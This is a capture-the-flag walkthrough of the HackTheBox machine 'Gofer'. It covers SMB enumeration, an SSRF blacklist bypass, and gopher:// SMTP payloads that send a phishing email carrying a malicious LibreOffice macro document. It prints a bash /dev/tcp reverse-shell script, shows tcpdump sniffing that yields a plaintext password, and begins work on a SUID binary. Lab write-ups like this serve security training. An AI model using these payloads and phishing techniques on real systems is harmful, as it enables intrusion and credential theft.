Machine: Gofer
Difficulty: Hard
Platform: HackTheBox
Release: Released on 07/29/2023
About Gofer
Gofer is a hard-level machine on the HackTheBox platform. Initially, we encounter a network-level shared resource via SMB that leaks a file containing pertinent information for the first exploitation. It reveals details about an internal SMTP service at the system level. While enumerating subdomains, we discover a section that allows us to conduct an SSRF to interact with internal services of the victim machine.
Shell as Jocelyn
Exploiting the SSRF, we utilized the Gopher protocol to send emails. We crafted a malicious ODT file and sent it via email to the user Jocelyn, enticing them to download and execute it, thereby gaining access to the system.
Shell as tbuckley
As the user Jocelyn, we have the privilege to execute tcpdump, enabling us to sniff packets at the network level. While sniffing packets, we observed HTTP requests being made within the victim machine, within which credentials belonging to the user
tbuckley
were transmitted. We leveraged these credentials to gain SSH access to this user.
Shell as root
As the user tbuckley, we are part of a group that has the privilege to execute an unusual Set-UID binary. After reverse-engineering the binary, we discovered a vulnerability that we could exploit to escalate privileges to the root user.
Recon
Firstly, we will conduct a port scan to identify open ports on the target machine. To achieve this, we'll employ the
nmap
tool:elswix@kali$ sudo nmap -p- --open -sS --min-rate 5000 -v -n -Pn 10.10.11.225 -oN portScan
Host is up (2.2s latency).
Not shown: 65468 closed tcp ports (reset), 63 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Once more, we'll utilize the
nmap
tool:elswix@kali$ nmap -sCV -p22,80,139,445 10.10.11.225 -oN fullScan
Nmap scan report for 10.10.11.225 (10.10.11.225)
Host is up (0.22s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 aa:25:82:6e:b8:04:b6:a9:a9:5e:1a:91:f0:94:51:dd (RSA)
| 256 18:21:ba:a7:dc:e4:4f:60:d7:81:03:9a:5d:c2:e5:96 (ECDSA)
|_ 256 a4:2d:0d:45:13:2a:9e:7f:86:7a:f6:f7:78:bc:42:d9 (ED25519)
80/tcp open http Apache httpd 2.4.56
|_http-title: Did not follow redirect to http://gofer.htb/
|_http-server-header: Apache/2.4.56 (Debian)
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Service Info: Host: gofer.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-time:
| date: 2023-10-28T13:15:11
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: GOFER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
SMB Enumeration
We'll proceed to enumerate the SMB service using the
crackmapexec
tool:elswix@kali$ crackmapexec smb 10.10.11.225
SMB 10.10.11.225 445 GOFER [*] Windows 6.1 Build 0 (name:GOFER) (domain:htb) (signing:False) (SMBv1:False)
crackmapexec
tool:elswix@kali$ crackmapexec smb 10.10.11.225 --shares
SMB 10.10.11.225 445 GOFER [*] Windows 6.1 Build 0 (name:GOFER) (domain:htb) (signing:False) (SMBv1:False)
SMB 10.10.11.225 445 GOFER [-] Error enumerating shares: STATUS_USER_SESSION_DELETED
STATUS_USER_SESSION_DELETED
, which could be indicative of the null session being disabled.Let's attempt to enumerate SMB shares using a Guest Session by solely specifying a username:
elswix@kali$ crackmapexec smb 10.10.11.225 -u 'elswix' -p '' --shares
SMB 10.10.11.225 445 GOFER [*] Windows 6.1 Build 0 (name:GOFER) (domain:htb) (signing:False) (SMBv1:False)
SMB 10.10.11.225 445 GOFER [+] htb\elswix:
SMB 10.10.11.225 445 GOFER [+] Enumerated shares
SMB 10.10.11.225 445 GOFER Share Permissions Remark
SMB 10.10.11.225 445 GOFER ----- ----------- ------
SMB 10.10.11.225 445 GOFER print$ Printer Drivers
SMB 10.10.11.225 445 GOFER shares READ
SMB 10.10.11.225 445 GOFER IPC$ IPC Service (Samba 4.13.13-Debian)
shares
. We'll now connect to it without specifying a password, using smbclient
:elswix@kali$ smbclient //10.10.11.225/shares -U 'elswix'
Password for [WORKGROUP\elswix]:
Try "help" to get a list of possible commands.
smb: \>
.backup
. Let's proceed to list its contents:smb: \> cd .backup
smb: \.backup\> ls
. D 0 Thu Apr 27 09:49:32 2023
.. D 0 Fri Oct 28 16:32:08 2022
mail N 1101 Thu Apr 27 09:49:32 2023
5061888 blocks of size 1024. 2163516 blocks available
smb: \.backup\>
mail
. Unfortunately, I can't read this file using smbclient
, so I'll begin by downloading it to my machine:smb: \.backup\> get mail
getting file \.backup\mail of size 1101 as mail (1.5 KiloBytes/sec) (average 1.5 KiloBytes/sec)
smb: \.backup\>
cat
commandFrom jdavis@gofer.htb Fri Oct 28 20:29:30 2022
Return-Path: <jdavis@gofer.htb>
X-Original-To: tbuckley@gofer.htb
Delivered-To: tbuckley@gofer.htb
Received: from gofer.htb (localhost [127.0.0.1])
by gofer.htb (Postfix) with SMTP id C8F7461827
for <tbuckley@gofer.htb>; Fri, 28 Oct 2022 20:28:43 +0100 (BST)
Subject:Important to read!
Message-Id: <20221028192857.C8F7461827@gofer.htb>
Date: Fri, 28 Oct 2022 20:28:43 +0100 (BST)
From: jdavis@gofer.htb
Hello guys,
Our dear Jocelyn received another phishing attempt last week and his habit of clicking on links without paying much attention may be problematic one day. That`s why from now on, I`ve decided that important documents will only be sent internally, by mail, which should greatly limit the risks. If possible, use an .odt format, as documents saved in Office Word are not always well interpreted by Libreoffice.
PS: Last thing for Tom; I know you`re working on our web proxy but if you could restrict access, it will be more secure until you have finished it. It seems to me that it should be possible to do so via <Limit>
jdavis@gofer.htb
to tbuckley@gofer.htb
. In the email, jdavis
mentions a user named Jocelyn
who has seemingly fallen victim to a phishing email. There's a reference to .odt
files in the context of sharing files through emails. This information is crucial and serves as a key point to consider for the first exploit.
Web Application
There's an HTTP Service running on port 80 on the victim machine. This service is associated with a webpage. To initiate the enumeration process, we'll perform a technology scan using the
whatweb
tool:elswix@kali$ whatweb -a 3 10.10.11.225
http://10.10.11.225 [301 Moved Permanently] Apache[2.4.56], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.56 (Debian)], IP[10.10.11.225], RedirectLocation[http://gofer.htb/], Title[301 Moved Permanently]
ERROR Opening: http://gofer.htb/ - no address for gofer.htb
gofer.htb
domain. Since this domain is not listed in our /etc/hosts
file, the system doesn't recognize which IP address corresponds to this domain.Hence, our initial step will be to add this domain to our
/etc/hosts
file:elswix@kali$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali.localhost kali
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
# HackTheBox
10.10.11.225 gofer.htb
elswix@kali$ whatweb -a 3 10.10.11.225
http://10.10.11.225 [301 Moved Permanently] Apache[2.4.56], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.56 (Debian)], IP[10.10.11.225], RedirectLocation[http://gofer.htb/], Title[301 Moved Permanently]
http://gofer.htb/ [200 OK] Apache[2.4.56], Bootstrap, Country[RESERVED][ZZ], Email[info@gofer.htb], Frame, HTML5, HTTPServer[Debian Linux][Apache/2.4.56 (Debian)], IP[10.10.11.225], Lightbox, Script, Title[Gofer]

After spending some time browsing the site, I haven't come across anything noteworthy.
Subdomain Enumeration
We'll proceed to enumerate subdomains using
ffuf
:elswix@kali$ ffuf -c -t 100 -w /opt/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://gofer.htb -H "Host: FUZZ.gofer.htb" --fw=20
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://gofer.htb
:: Wordlist : FUZZ: /opt/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.gofer.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 20
________________________________________________
proxy [Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 3924ms]
:: Progress: [4989/4989] :: Job [1/1] :: 140 req/sec :: Duration: [0:00:54] :: Errors: 0 ::
proxy.gofer.htb
subdomain. We'll need to add it to our /etc/hosts
file, pointing it to the victim machine's IP address.elswix@kali$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali.localhost kali
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
# HackTheBox
10.10.11.225 gofer.htb proxy.gofer.htb
proxy.gofer.htb
, it returns a status code 401 (unauthorized), prompting us for credentials. As we currently lack valid credentials, access is restricted.While we might not have access to the main page, we can potentially access other directories or files. Since we lack information regarding directories or files, let's initiate a fuzzing process.
Once again, utilizing ffuf, we'll conceal the 401 status code:
elswix@kali$ ffuf -c -t 100 -w /opt/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://proxy.gofer.htb/FUZZ --fc=401
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://proxy.gofer.htb/FUZZ
:: Wordlist : FUZZ: /opt/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 401
________________________________________________
[WARN] Caught keyboard interrupt (Ctrl-C)
Now, I'll proceed to fuzz files with extensions such as php, html, js, etc.
I've created an
extensions.txt
file with the following content:elswix@kali$ cat extensions.txt
php
html
js
txt
ffuf
using two wordlists:elswix@kali$ ffuf -c -t 50 -w /opt/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -w extensions.txt:EXTENSIONS -u http://proxy.gofer.htb/FUZZ.EXTENSIONS --fc=401
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://proxy.gofer.htb/FUZZ.EXTENSIONS
:: Wordlist : FUZZ: /opt/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Wordlist : EXTENSIONS: /home/elswix/Desktop/elswix/HTB/Gofer/content/extensions.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 50
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 401
________________________________________________
[WARN] Caught keyboard interrupt (Ctrl-C)
Once again, using
ffuf
, I'll initiate a similar scan but this time using the -X POST
parameter to specify that all requests should be made using the POST method.elswix@kali$ ffuf -c -t 50 -w /opt/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -w extensions.txt:EXTENSIONS -u http://proxy.gofer.htb/FUZZ.EXTENSIONS --fc=401 -X POST
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://proxy.gofer.htb/FUZZ.EXTENSIONS
:: Wordlist : FUZZ: /opt/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Wordlist : EXTENSIONS: /home/elswix/Desktop/elswix/HTB/Gofer/content/extensions.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 50
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 401
________________________________________________
[Status: 200, Size: 81, Words: 9, Lines: 2, Duration: 401ms]
* EXTENSIONS: php
* FUZZ: index
[WARN] Caught keyboard interrupt (Ctrl-C)
index.php
file accessible through POST requests.Upon using curl to make a POST Request to
http://proxy.gofer.htb
, it returns the following message:elswix@kali$ curl -s -X POST http://proxy.gofer.htb/index.php
<!-- Welcome to Gofer proxy -->
<html><body>Missing URL parameter !</body></html>%
elswix@kali$ curl -s -X POST 'http://proxy.gofer.htb/index.php?url=TEST'
I'll set up an HTTP Server on my attacker machine. First, I need to create the HTTP Server:
elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
elswix@kali$ curl -s -X POST 'http://proxy.gofer.htb/index.php?url=http://10.10.16.7'
<!-- Welcome to Gofer proxy -->
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
<li><a href="extensions.txt">extensions.txt</a></li>
</ul>
<hr>
</body>
</html>
1
elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.225 - - [28/Oct/2023 12:13:26] "GET / HTTP/1.1" 200 -
SSRF
Given that we can specify the URL for the machine to request, let's attempt to access an internal service on the victim machine that's not externally accessible.
For instance, let's try to access the webpage hosted on port 80 on the local machine:
elswix@kali$ curl -s -X POST 'http://proxy.gofer.htb/index.php?url=http://127.0.0.1'
<!-- Welcome to Gofer proxy -->
<html><body>Blacklisted keyword: /127 !</body></html>%
Let's try accessing using
localhost
instead of 127.0.0.1
:elswix@kali$ curl -s -X POST 'http://proxy.gofer.htb/index.php?url=http://localhost'
<!-- Welcome to Gofer proxy -->
<html><body>Blacklisted keyword: localhost !</body></html>%
127.0.0.1
in decimal is 2130706433
. Let's try this in the URL.elswix@kali$ curl -s -X POST 'http://proxy.gofer.htb/index.php?url=http://2130706433'
<!-- Welcome to Gofer proxy -->
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at gofer.htb Port 80</address>
</body></html>
Shell as jhudson
It's evident at this stage that the machine's name becomes pivotal for this exploitation. Confirming that an Email Service is operating on port 25 on the victim machine (as indicated by the email from
jdavis@gofer.htb
), which highlighted a phishing attack that impacted the user Jocelyn. Jocelyn fell victim to this attack by clicking on a link without recognizing its source.Our current strategy involves leveraging SSRF to send an email to the user Jocelyn, containing a malevolent link that directs to our attacker's machine. This link should prompt the download of a file with an ODT extension. ODT files are essentially text files used by the LibreOffice program. These file types enable the addition of macros containing malicious content, capable of executing undesired instructions on the system.
To send the email, we first need to determine the email of the user Jocelyn, which, judging by the structure of the email we've read, appears to be composed of the initial of the name and their last name.
In the "Team" section of the victim machine's main page, specifically on
gofer.htb
, we can view the names and last names of users that seem to be part of the team.
We managed to see the name "Jocelyn Hudson," which could belong to the user to whom we need to send the malicious email. First, let's adjust the name to fit the email format:
jhudson@gofer.htb
.
SSRF - Gopher
There are some techniques to communicate with internal services when exploiting an SSRF, and in our case, we're going to use Gopher.
"Using this protocol you can specify the IP, port and bytes you want the server to send. Then, you can basically exploit a SSRF to communicate with any TCP server (but you need to know how to talk to the service first)."
HackTricks - SSRF
In HackTricks, there's an example payload to connect to an SMTP Server by exploiting an SSRF using Gopher://
gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
Initially, I'm going to attempt using this payload without any modification. Let's send the request to the victim machine:
elswix@kali$ curl -s -X POST 'http://proxy.gofer.htb/index.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a'
<!-- Welcome to Gofer proxy -->
<html><body>Blacklisted keyword: localhost !</body></html>
127.0.0.1
and localhost
with 2130706433
:elswix@kali$ cat payload | sed 's/127\.0\.0\.1/2130706433/' | sed 's/localhost/2130706433/' | sponge payload
elswix@kali$ curl -s -X POST 'http://proxy.gofer.htb/index.php?url=gopher://2130706433:25/xHELO%202130706433%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a'
<!-- Welcome to Gofer proxy -->
220 gofer.htb ESMTP Postfix (Debian/GNU)
250 gofer.htb
250 2.1.0 Ok
550 5.1.1 <victim@site.com>: Recipient address rejected: 127.0.0.1
554 5.5.1 Error: no valid recipients
221 2.7.0 Error: I can break rules, too. Goodbye.
Now, let's modify the payload to send the email to
jhudson@gofer.htb
and include a link pointing to my HTTP Server. Upon clicking the link, we'll receive a GET request on our HTTP Server.The only modification needed is in the RCPT mail:
elswix@kali$ cat payload | sed 's/victim@site.com/jhudson@gofer.htb/' | sed 's/victime@site.com/jhudson@gofer.htb/' | sponge payload
gopher://2130706433:25/xHELO%202130706433%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cjhudson@gofer.htb%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cjhudson@gofer.htb%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250ahttp://10.10.16.7/PWNED%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
elswix@kali$ curl -s -X POST 'http://proxy.gofer.htb/index.php?url=gopher://2130706433:25/xHELO%202130706433%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cjhudson@gofer.htb%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cjhudson@gofer.htb%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250ahttp://10.10.16.7/PWNED%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a'
<!-- Welcome to Gofer proxy -->
220 gofer.htb ESMTP Postfix (Debian/GNU)
250 gofer.htb
250 2.1.0 Ok
250 2.1.5 Ok
354 End data with <CR><LF>.<CR><LF>
250 2.0.0 Ok: queued as 45C1A8140
221 2.0.0 Bye
elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.225 - - [28/Oct/2023 14:01:21] code 404, message File not found
10.10.11.225 - - [28/Oct/2023 14:01:21] "GET /PWNED HTTP/1.1" 404 -
jhudson
is indeed clicking on the links I send her in the email content.With this knowledge, we now need to create a malicious file that we will offer via an HTTP server on our victim machine. This will be the file the user in question will need to download and subsequently execute.
First, let's generate a Writer document using LibreOffice.

Now, let's navigate to the macros section.

Click on
Edit Macros
, then proceed to create a new one.
Next, we need to insert the malicious content into the
Malicious
macro.
As part of this test, we will utilize the
Shell()
function to execute commands on the victim machine. In this instance, we'll initiate a curl request to our HTTP Server.Upon running the macro, the output will resemble the following:
elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.16.7 - - [28/Oct/2023 14:29:14] code 404, message File not found
10.10.16.7 - - [28/Oct/2023 14:29:14] "GET /ThisWasExecuted HTTP/1.1" 404 -
To configure this, we need to click on Tools -> Macros -> Organize Macros -> Basic:

We need to click on
Assign
.
We navigate to the
Events
section.
Click on
Open Document
and select the respective macro.
Once the file is saved, the macro will execute the specified command when the document is reopened.
Now, we need to host the file on a web server. When the user
jhudson
clicks the link, the file will be downloaded and, assuming jhudson
opens the file upon download, it will execute the malicious content.elswix@kali$ curl -s -X POST 'http://proxy.gofer.htb/index.php?url=gopher://2130706433:25/xHELO%202130706433%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cjhudson@gofer.htb%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cjhudson@gofer.htb%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250ahttp://10.10.16.7/pwned.odt%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a'
<!-- Welcome to Gofer proxy -->
220 gofer.htb ESMTP Postfix (Debian/GNU)
250 gofer.htb
250 2.1.0 Ok
250 2.1.5 Ok
354 End data with <CR><LF>.<CR><LF>
250 2.0.0 Ok: queued as 1365366EF
221 2.0.0 Bye
1%
jhudson
to click the link included in the email's content. After a while, the user has downloaded and opened the file.
elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.225 - - [28/Oct/2023 14:42:20] "GET /pwned.odt HTTP/1.1" 200 -
10.10.11.225 - - [28/Oct/2023 14:42:25] code 404, message File not found
10.10.11.225 - - [28/Oct/2023 14:42:25] "GET /ThisWasExecuted HTTP/1.1" 404 -
Firstly, I'll create a file named
pwned.sh
with the following content:elswix@kali$ cat pwned.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.7/3001 0>&1

With this command, we'll ensure that upon making a request to the file
pwned.sh
, its content will be interpreted with bash, thereby enabling us to receive a reverse shell.Firstly, we're going to set up our netcat (nc) listener on port 3001:
elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
pwned.sh
file:elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
elswix@kali$ curl -s -X POST 'http://proxy.gofer.htb/index.php?url=gopher://2130706433:25/xHELO%202130706433%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cjhudson@gofer.htb%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cjhudson@gofer.htb%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250ahttp://10.10.16.7/pwned.odt%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a'
<!-- Welcome to Gofer proxy -->
220 gofer.htb ESMTP Postfix (Debian/GNU)
250 gofer.htb
250 2.1.0 Ok
250 2.1.5 Ok
354 End data with <CR><LF>.<CR><LF>
250 2.0.0 Ok: queued as 7293F8142
221 2.0.0 Bye
elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.225 - - [28/Oct/2023 14:51:21] "GET /pwned.odt HTTP/1.1" 200 -
10.10.11.225 - - [28/Oct/2023 14:51:25] "GET /pwned.sh HTTP/1.1" 200 -
elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
Ncat: Connection from 10.10.11.225:42468.
bash: cannot set terminal process group (7760): Inappropriate ioctl for device
bash: no job control in this shell
bash: /home/jhudson/.bashrc: Permission denied
jhudson@gofer:/usr/bin$
jhudson@gofer:/usr/bin$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
jhudson@gofer:/usr/bin$ ^Z
zsh: suspended nc -lvnp 3001
elswix@kali$ stty raw -echo;fg
[1] + continued nc -lvnp 3001
reset
reset: unknown terminal type unknown
Terminal type? xterm
jhudson@gofer:/usr/bin$ export TERM=xterm
jhudson@gofer:/usr/bin$ export SHELL=/bin/bash
jhudson@gofer:/usr/bin$
jhudson
, we can access the first flag.jhudson@gofer:~$ cat user.txt
3af8d*********************9784f
jhudson@gofer:~$
Shell as tbuckley
When listing the groups to which the user
jhudson
belongs, we can observe an unusual group:jhudson@gofer:~$ id
uid=1000(jhudson) gid=1000(jhudson) groups=1000(jhudson),108(netdev)
netdev
group is related to operating on network interfaces, among other things. It's something worth noting.Next, we'll list the Set-UID files:
jhudson@gofer:~$ find / -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
/usr/bin/fusermount
/usr/bin/mount
/usr/bin/passwd
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/pkexec
/usr/bin/su
/usr/bin/chfn
/usr/bin/newgrp
/usr/local/bin/notes
jhudson@gofer:~$
/usr/local/bin
. Checking the permissions of this file, we find that we cannot execute it, but members of the dev
group can.jhudson@gofer:~$ ls -l /usr/local/bin/notes
-rwsr-s--- 1 root dev 17168 Apr 28 2023 /usr/local/bin/notes
jhudson@gofer:~$
jhudson@gofer:~$ /usr/sbin/getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/usr/bin/ping cap_net_raw=ep
/usr/bin/tcpdump cap_net_admin,cap_net_raw=eip
jhudson@gofer:~$
cap_net_admin
capability to execute tcpdump
, enabling us to conduct packet sniffing on all system interfaces.Next, we'll run
tcpdump
to sniff packets on the network and store them in a capture. Storing them will allow us to later analyze the packets more conveniently using the Wireshark tool.jhudson@gofer:/dev/shm$ tcpdump -i any -v -w captura.cap
captura.cap
:jhudson@gofer:/dev/shm$ ls
captura.cap
jhudson@gofer:/dev/shm$
captura.cap
file onto our attacker machine, we need to open it using WireShark:
By filtering through protocols, we'll quickly notice HTTP requests:

Upon closer inspection, we observe that these requests contain credentials:

It appears the user is attempting authentication to
proxy.gofer.htb
, which, as we recall, requested credentials for access. These credentials are traveling in plain text, allowing us to copy and potentially use them to our advantage.Given the attempt to authenticate as the user
tbuckley
, we can verify if these credentials belong to this system-level user.elswix@kali$ sshpass -p 'ooP4dietie3o_hquaeti' ssh tbuckley@10.10.11.225
Linux gofer.htb 5.10.0-23-amd64 #1 SMP Debian 5.10.179-2 (2023-07-14) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have no mail.
tbuckley@gofer:~$
tbuckley
via SSH using the credentials obtained from the HTTP request.
Shell as root
Listing the groups to which the user
tbuckley
belongs, we notice that they are part of the dev
group:tbuckley@gofer:~$ id
uid=1002(tbuckley) gid=1002(tbuckley) groups=1002(tbuckley),1004(dev)
tbuckley@gofer:~$
Let's execute the
/usr/local/bin/notes
binary:tbuckley@gofer:~$ /usr/local/bin/notes
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================
Your choice:
Your choice: 1
Choose an username: elswix
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================
Your choice:
Your choice: 2
Username: elswix
Role: user
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================
Your choice:
Upon attempting to access option 8, it displays the following message:
Your choice: 8
Access denied: you don`t have the admin role!
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
